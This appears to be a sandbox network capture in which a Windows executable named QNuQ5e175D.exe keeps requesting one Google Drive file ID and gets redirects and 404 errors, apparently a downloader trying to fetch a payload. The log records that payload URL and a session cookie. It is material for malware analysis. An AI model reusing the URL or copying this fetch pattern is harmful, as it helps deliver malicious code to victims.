2025-01-11 04:07:27 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Sat, 11 Jan 2025 04:07:27 GMT Location: https://drive.usercontent.google.com/download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'nonce-m6CZtz06ABA-WArOjegk8g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.11	50057	142.250.184.225	443	7988	C:\Users\user\Desktop\QNuQ5e175D.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 04:07:28 UTC	466	OUT	GET /download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
2025-01-11 04:07:28 UTC	1851	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC64WyJRqTNhPVdS5N8OifDmaGtIAIYLPKG8bavWbO6JSjCTV0_G1y5h_i_X902_opA9bpdZFiM Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Sat, 11 Jan 2025 04:07:28 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-DiNxNwgG5IstDm4PYtmj3Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-11 04:07:28 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 51 6f 75 4f 6e 43 30 49 36 54 6d 58 5a 37 76 41 31 30 5f 55 4d 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="QouOnC0I6TmXZ7vA10_UMg">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.11	50058	172.217.16.142	443	7988	C:\Users\user\Desktop\QNuQ5e175D.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 04:07:29 UTC	424	OUT	GET /uc?export=download&id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
2025-01-11 04:07:29 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Sat, 11 Jan 2025 04:07:29 GMT Location: https://drive.usercontent.google.com/download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'nonce-Yt_zLS7jLut2-kcvmI4h6g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.11	50059	142.250.184.225	443	7988	C:\Users\user\Desktop\QNuQ5e175D.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 04:07:30 UTC	466	OUT	GET /download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
2025-01-11 04:07:30 UTC	1844	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC5gx5tENMxP6y0jGxSnbNEmRc2ioje_Sviwoze7Gqxfo8uw1kc5YoJJuVYKMv-1-Yfy Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Sat, 11 Jan 2025 04:07:30 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-Tp_WFNzdA7p15enucgXJBQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-11 04:07:30 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 63 46 45 33 36 49 45 31 6c 47 58 62 2d 45 4e 4e 43 37 5a 4a 42 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="cFE36IE1lGXb-ENNC7ZJBA">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.11	50060	172.217.16.142	443	7988	C:\Users\user\Desktop\QNuQ5e175D.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 04:07:31 UTC	424	OUT	GET /uc?export=download&id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
2025-01-11 04:07:32 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Sat, 11 Jan 2025 04:07:32 GMT Location: https://drive.usercontent.google.com/download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'nonce-PGN8oj57yNafE_V2erTvCg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.11	50061	142.250.184.225	443	7988	C:\Users\user\Desktop\QNuQ5e175D.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 04:07:32 UTC	466	OUT	GET /download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
2025-01-11 04:07:33 UTC	1844	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFIdbgTVDUZlxEiF4KLvx33QbxYEfqx60jqKpdT9_mqW-Se3q-nktg5riXV9-HnfSwuJYan2 Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Sat, 11 Jan 2025 04:07:33 GMT Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-94ivqguTGv_bpizdqCElcQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-11 04:07:33 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 5f 6f 45 4b 4a 4d 49 74 46 30 45 78 71 54 6d 44 71 48 59 43 49 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="_oEKJMItF0ExqTmDqHYCIA">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.11	50062	172.217.16.142	443	7988	C:\Users\user\Desktop\QNuQ5e175D.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 04:07:34 UTC	424	OUT	GET /uc?export=download&id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
2025-01-11 04:07:34 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Sat, 11 Jan 2025 04:07:34 GMT Location: https://drive.usercontent.google.com/download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-WhZF0H8fiRx1XWd6fjsbug' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.11	50063	142.250.184.225	443	7988	C:\Users\user\Desktop\QNuQ5e175D.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 04:07:35 UTC	466	OUT	GET /download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
2025-01-11 04:07:35 UTC	1851	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFIdbgR44WzFMtJklLZE7-HXmMu3WMgfHx6lgKfkbJbyTzgpthAyeMlE5sOCkcdaGcbczcTpuUHHOc8 Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Sat, 11 Jan 2025 04:07:35 GMT Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-VbidvOdMJnZfCX0n9sGQ0A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-11 04:07:35 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 6b 30 30 6e 50 73 6e 6d 4b 31 6e 37 73 71 46 30 66 49 6e 32 36 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="k00nPsnmK1n7sqF0fIn26A">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.11	50064	172.217.16.142	443	7988	C:\Users\user\Desktop\QNuQ5e175D.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 04:07:36 UTC	424	OUT	GET /uc?export=download&id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
